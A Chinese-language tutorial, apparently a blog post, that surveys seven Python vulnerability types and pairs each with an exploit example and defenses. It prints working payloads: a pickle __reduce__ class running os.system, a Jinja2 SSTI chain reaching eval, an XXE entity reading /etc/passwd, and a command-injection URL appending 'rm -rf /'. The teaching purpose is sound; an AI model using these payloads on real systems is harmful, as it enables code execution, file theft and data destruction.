任何编程语言和软件项目,都会存在安全漏洞,只有漏洞利用成本的高低!
本文章仅提供学习,切勿将其用于不法手段!
一、反序列化漏洞(最危险!)
原理:
Python的pickle模块能将对象转为二进制数据(序列化),但反序列化时若数据被篡改,可能直接执行恶意代码。就像你拆快递时,包裹里塞了炸弹,一拆就炸。
渗透测试利用方法:
- 生成恶意对象:构造一个包含危险函数的类,比如执行系统命令:
import pickle import os class Evil: def __reduce__(self): return (os.system, ("calc.exe",)) # 弹计算器 payload = pickle.dumps(Evil()) # 序列化 - 发送恶意数据:将
payload通过HTTP请求或文件上传传给目标程序。 - 触发漏洞:目标程序反序列化时,直接执行
calc.exe(示例,实际可能执行更危险操作)。
防御:
- 改用
json序列化(不支持代码执行)。 - 反序列化前校验数据来源,禁用危险类。
二、模板注入(SSTI)
原理:
使用Jinja2等模板引擎时,若直接渲染用户输入,攻击者可注入模板代码执行任意操作,比如读取文件或执行命令。
渗透测试利用方法:
- 构造恶意输入:在输入框注入模板代码:
{{ config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("os.system('whoami')") }} - 触发渲染:提交输入后,服务端直接渲染模板,执行
whoami命令。
防御:
- 使用
html.escape()转义用户输入。 - 禁用模板中的危险函数(如
eval)。
三、依赖包漏洞(供应链攻击)
原理:
第三方库存在已知漏洞(如requests旧版本),攻击者通过替换依赖版本植入后门。
渗透测试利用方法:
- 替换依赖:在测试环境中安装恶意版本:
pip install malicious-package==1.0.0 - 触发后门:调用恶意库的初始化代码执行命令。
防御:
- 定期扫描依赖:
pip list --outdated。 - 使用
pipenv或poetry锁定依赖版本。
四、XXE漏洞(XML外部实体注入)
原理:
解析XML时,若允许加载外部文件(如file://协议),攻击者可读取服务器敏感文件。
渗透测试利用方法:
- 构造恶意XML:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo> - 发送请求:将XML提交到目标应用的XML解析接口。
- 获取数据:若解析成功,错误信息中会返回
/etc/passwd内容。
防御:
- 使用
defusedxml库替代标准XML解析库。 - 禁用外部实体加载。
五、命令注入
原理:
使用os.system()或subprocess调用系统命令时,未过滤用户输入,导致拼接恶意命令。
渗透测试利用方法:
# 漏洞代码
user_input = request.GET.get('cmd')
os.system("ping " + user_input) # 拼接用户输入
构造恶意输入:
http://example.com/?cmd=id;rm -rf /
执行id后继续执行删除命令。
防御:
- 使用
shlex.quote()转义参数。 - 改用
subprocess.run(args=[])传递参数列表。
六、临时文件竞争条件
原理:
使用不安全的临时文件创建方法(如mktemp),可能被其他进程抢先写入恶意文件。
渗透测试利用方法:
- 创建竞态文件:
mktemp -u /tmp/exploit_XXXXXX # 生成临时文件名 echo "<?php system('id') ?>" > /tmp/exploit_ABC123 - 触发文件操作:让目标程序读取该文件,执行恶意代码。
防御:
- 使用
tempfile.mkstemp()生成唯一文件。 - 设置文件权限为只读。
七、Pickle反序列化(二次利用)
原理:
与Java类似,Python的pickle反序列化若未校验数据,攻击者可构造恶意对象执行代码。
渗透测试利用方法:
- 生成恶意payload:
import pickle import base64 class Evil: def __reduce__(self): return (os.system, ("id",)) payload = base64.b64encode(pickle.dumps(Evil())) - 发送请求:将payload作为参数传入目标接口。
- 触发执行:服务端反序列化后执行
id命令。
防御:
- 改用
json或yaml.safe_load。 - 反序列化前检查类名白名单。
总结:Python漏洞的“防身三招”
- 输入过滤:所有用户输入必须白名单校验,过滤特殊字符(如
../、{{)。 - 安全配置:
# 关闭危险功能 app.config['JINJA2_AUTOESCAPE'] = True # 自动转义模板 - 代码审计:重点检查
pickle.loads()、eval()、os.system()等高风险代码。
一句话口诀:
序列化要小心,模板别乱用,依赖勤扫描,输入严过滤!
注:所有技术研究需遵循《网络安全法》及《数据安全法》相关规定,践行合法合规的网络安全技术探索。
提示:最有效的防御办法,是让攻击者由于攻击成本过高,而主动放弃针对目标进行攻击!
没有攻不破的城墙,只有 由于 付出成本 远超于 收获价值 而 选择 主动放弃 攻击行为 的 敌人 !


被折叠的 条评论
为什么被折叠?



